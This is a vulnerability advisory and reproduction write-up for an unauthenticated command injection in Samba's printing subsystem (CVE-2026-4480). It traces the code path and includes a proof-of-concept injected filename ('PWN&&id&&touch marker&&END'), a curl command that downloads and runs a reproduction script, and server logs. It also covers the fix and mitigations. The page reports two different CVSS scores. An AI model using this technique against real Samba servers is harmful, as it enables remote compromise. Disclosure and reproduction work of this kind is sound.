CVE-2026-4480: Verified Reproduction
CVE-2026-4480: Samba’s printing subsystem allows OS command injection via unescaped job description %J , enabling remote code execution through crafted print jobs.
CVE-2026-4480 is verified against samba-team/samba · generic. Affected versions: All Samba versions before the fix (advisory says 'All versions'). Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00285.
What Is CVE-2026-4480?
CVE-2026-4480 is a high-severity OS command injection (CWE-78) in Samba's printing subsystem that can lead to remote code execution. A remote attacker who can submit a print job can inject shell commands via the job description. Pruva reproduced it (reproduction REPRO-2026-00285).
CVE-2026-4480 Severity & CVSS Score
CVE-2026-4480 is rated critical severity, with a CVSS base score of 9.0 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
Affected samba-team/samba Versions
samba-team/samba · generic versions All Samba versions before the fix (advisory says 'All versions') are affected.
How to Reproduce CVE-2026-4480
pruva-verify REPRO-2026-00285 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00285/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-4480
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
job description string in SMB print job filename (document name becoming %J in print command)
- SMB TCP 445 (guest/anonymous)
- open file on [testprn] printable share
- print_spool_open
- print_job_start(docname)
- print_job_end
- generic_job_submit
- print_run_command
- talloc_string_sub(%J, jobname)
- smbrun_no_sanitize
- system() with unescaped shell metacharacters
How the agent worked
Root Cause and Exploit Chain for CVE-2026-4480
CVE-2026-4480 is an unauthenticated remote code execution vulnerability in Samba's printing subsystem. When a Samba server is configured with a non-CUPS/non-iPrint printing backend (e.g., printing = sysv) and a print command that includes the %J substitution character (job description), a remote attacker can submit a print job whose document name contains shell metacharacters. Samba substitutes the client-controlled job name into the print command string and executes it via system() with only partial sanitization — the characters $ \ " ' ; %are stripped, but& ( ) # | < >` and others survive, enabling OS command injection and arbitrary code execution as the Samba service account.
- Package/component affected: Samba
smbdprinting subsystem —source3/printing/print_generic.c, functiongeneric_job_submit()→print_run_command()→smbrun_no_sanitize()→system() - Affected versions: All Samba versions prior to 4.22.10, 4.23.8, and 4.24.3 (released 26 May 2026). Verified vulnerable on 4.22.9.
- Risk level: Critical (CVSS 3.1 base 10.0 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Unauthenticated, remote, default guest print access.
- Consequences: Arbitrary OS command execution with the privileges of the Samba service (typically
nobodyor the configuredguest account). Full server compromise possible.
Impact Parity
- Disclosed/claimed maximum impact: Remote code execution (unauthenticated, network-reachable)
- Reproduced impact from this run: Remote code execution confirmed — the
idcommand executed on the Samba server and its output (uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)) was captured in the server-side log, plus an arbitrary file (marker) was created in the spool directory by the injectedtouchcommand. All via an unauthenticated guest SMB connection over TCP 445. - Parity:
full - Not demonstrated: A full reverse shell or privilege escalation to root was not demonstrated (the Samba guest account runs as
nobody), but the core claim of unauthenticated remote code execution is fully reproduced.
Root Cause
Vulnerable code path
When a client opens a file on a printable SMB share, smbd processes it as a print job:
smbd/open.c→print_spool_open(fsp, filename, vuid)— the client-supplied filename becomes the document name (docname = "Remote Downlevel Document <filename>")print_spool_open()→print_job_start(docname)→fstrcpy(pjob.jobname, docname)— the docname is stored as the job name with no sanitization- On file close →
print_job_end()→generic_job_submit() generic_job_submit()insource3/printing/print_generic.c:jobname = talloc_strdup(ctx, pjob->jobname); jobname = talloc_string_sub(ctx, jobname, "'", "_"); // only replaces ' → _ ... ret = print_run_command(snum, ..., lp_print_command(snum), NULL, "%s", p, "%J", jobname, ...);print_run_command()substitutes%Jwith the jobname usingtalloc_string_sub():syscmd = talloc_string_sub(ctx, syscmd, arg, value); // arg="%J", value=jobnametalloc_string_sub()callstalloc_string_sub2()withremove_unsafe_characters=true, which replaces only$ \" ' ; % \r \nwith_` in the insert (jobname) string- The resulting command string is passed to
smbrun_no_sanitize()→execl("/bin/sh", "sh", "-c", cmd, NULL)— no shell escaping
The gap
The talloc_string_sub2() unsafe-character list is:
case '$': case '`': case '"': case '\'': case ';': case '%': case '\r': case '\n':
This misses critical shell metacharacters: &, |, <, >, (, ), #, space, !, etc. The & character (and &&) is a valid command separator in POSIX shells and is not in the sanitized set. An attacker can inject && in the job description to chain arbitrary commands.
The fix (commit b80131fcf582)
The fix in Samba 4.22.10 adds replace_print_cmd_J() which:
- Defines
STRING_SUB_UNSAFE_CHARACTERS "$\"';%|&<>"(includes&,|,<,>`) - Masks ALL unsafe characters (plus
/and\) to_ - Wraps the
%Jsubstitution in single quotes (or falls back to a fixed__CVE-2026-4480_FallbackJobname__string for mixed-quoting configurations) - Pre-substitutes
%Jin the print command before passing toprint_run_command, removing the raw%J→ jobname path
Fix commit: b80131fcf582ecc8e8c1b97e6051bb324bb8bef8 (Samba master), backported to 4.22.10, 4.23.8, 4.24.3.
Reproduction Steps
- Reference:
bundle/repro/reproduction_steps.sh - What the script does:
- Builds vulnerable Samba 4.22.9 and fixed Samba 4.22.10 from source (or reuses cached builds from the project cache)
- Configures
smbdwithprinting = sysv, aprintcapentry for printertestprn, and aprint commandreferencing unquoted%J:(echo %J) > /tmp/samba_printlog 2>&1 - Starts the real
smbddaemon listening on TCP port 445 with guest-accessible printing - Uses an impacket-based Python SMB client to connect over TCP 445 (guest/anonymous login), open a file named
PWN&&id&&touch marker&&ENDon the[testprn]printable share, write print data, and close it - The server substitutes the document name (becomes
%J) into the print command and executes it viasystem()— the&&survives sanitization, causingidandtouch markerto execute - Repeats the same exploit against the fixed Samba 4.22.10 as a negative control
- Expected evidence of reproduction:
- Vulnerable (4.22.9):
/tmp/samba_printlogcontainsuid=65534(nobody)...(output of injectedidcommand) and amarkerfile is created in the spool directory - Fixed (4.22.10):
/tmp/samba_printlogcontains the literal masked stringPWN__id__touch marker__END(nouid=, no command execution) and nomarkerfile is created
- Vulnerable (4.22.9):
Evidence
Vulnerable Samba 4.22.9 — RCE confirmed
Print log (bundle/artifacts/smb-vuln/printlog.txt):
Remote Downlevel Document PWN
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
sh: 1: END: not found
The uid=65534(nobody) line is the output of the injected id command — arbitrary code execution proven.
Marker file (bundle/artifacts/smb-vuln/marker_check.txt):
-rw-rw-rw- 1 nobody nogroup 0 Jul 12 21:47 /tmp/sambatest/spool/marker
Created by the injected touch marker command running as nobody (the Samba guest account).
smbd log (bundle/artifacts/smb-vuln/smbd_command_log.txt):
Running the command `(echo Remote Downlevel Document PWN&&id&&touch marker&&END) > /tmp/samba_printlog 2>&1' gave 127
The && is intact in the executed command — no shell escaping applied.
Fixed Samba 4.22.10 — injection blocked (negative control)
Print log (bundle/artifacts/smb-fixed/printlog.txt):
Remote Downlevel Document PWN__id__touch marker__END
The && was masked to __ and the jobname was wrapped in single quotes — no command execution.
Marker file (bundle/artifacts/smb-fixed/marker_check.txt):
no marker (correct)
smbd log (bundle/artifacts/smb-fixed/smbd_command_log.txt):
Running the command `(echo 'Remote Downlevel Document PWN__id__touch marker__END') > /tmp/samba_printlog_fixed 2>&1' gave 0
The jobname is single-quoted and masked — safe execution.
Environment
- Samba built from source:
samba-4.22.9(vulnerable, commitff3dd69) andsamba-4.22.10(fixed, commit0abface) - Build:
--bundled-libraries=ALL --without-ad-dc --disable-python(standalone file/print server) - OS: Ubuntu 26.04 LTS, 32 cores
- Client: impacket 0.13.1 SMBConnection over TCP 445, guest/anonymous authentication
Recommendations / Next Steps
- Upgrade immediately to Samba 4.22.10, 4.23.8, or 4.24.3 (or later)
- Remove
%Jfromprint commandinsmb.conf, or wrap it in single quotes ('%J') as a temporary mitigation - Switch to CUPS (
printing = cups) — CUPS/iPrint backends bypass the vulnerablegeneric_job_submit()path - Disable guest printer access — require authentication for print shares
- Audit existing Samba deployments for
print commandentries containing%J
Additional Notes
- Idempotency: The reproduction script cleans all state directories between runs and re-creates them fresh. Each vulnerable/fixed test uses a separate base directory.
- SMB filename restrictions: The classic SMB print path restricts the filename (and thus the jobname) to characters valid in SMB/CIFS names (no
/ \ : * ? " < > |). The&character is allowed in SMB filenames and is not sanitized by the vulnerabletalloc_string_sub(), making it the key injection vector. The spoolss RPC path (StartDocPrinterwithpDocName) is not subject to SMB filename restrictions and allows even more characters, but the same&injection works through both paths. - Why
&&and not;or$(): The vulnerabletalloc_string_sub2()sanitizes;,$, and backtick but NOT&. The&&operator is a valid POSIX shell command separator that passes through the sanitization, enabling command chaining. - The
echo %J >> filevs(echo %J) > file 2>&1difference: The subshell in the print command captures all output (including the injected commands' stdout/stderr) in the log file, providing clear RCE evidence.
CVE-2026-4480 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
Artifacts and Evidence for CVE-2026-4480
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-4480
FAQ: CVE-2026-4480
What configuration makes a Samba server vulnerable to CVE-2026-4480?
How severe is CVE-2026-4480?
Which Samba versions are affected by CVE-2026-4480?
How can I reproduce CVE-2026-4480?
References for CVE-2026-4480
Authoritative sources for CVE-2026-4480 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.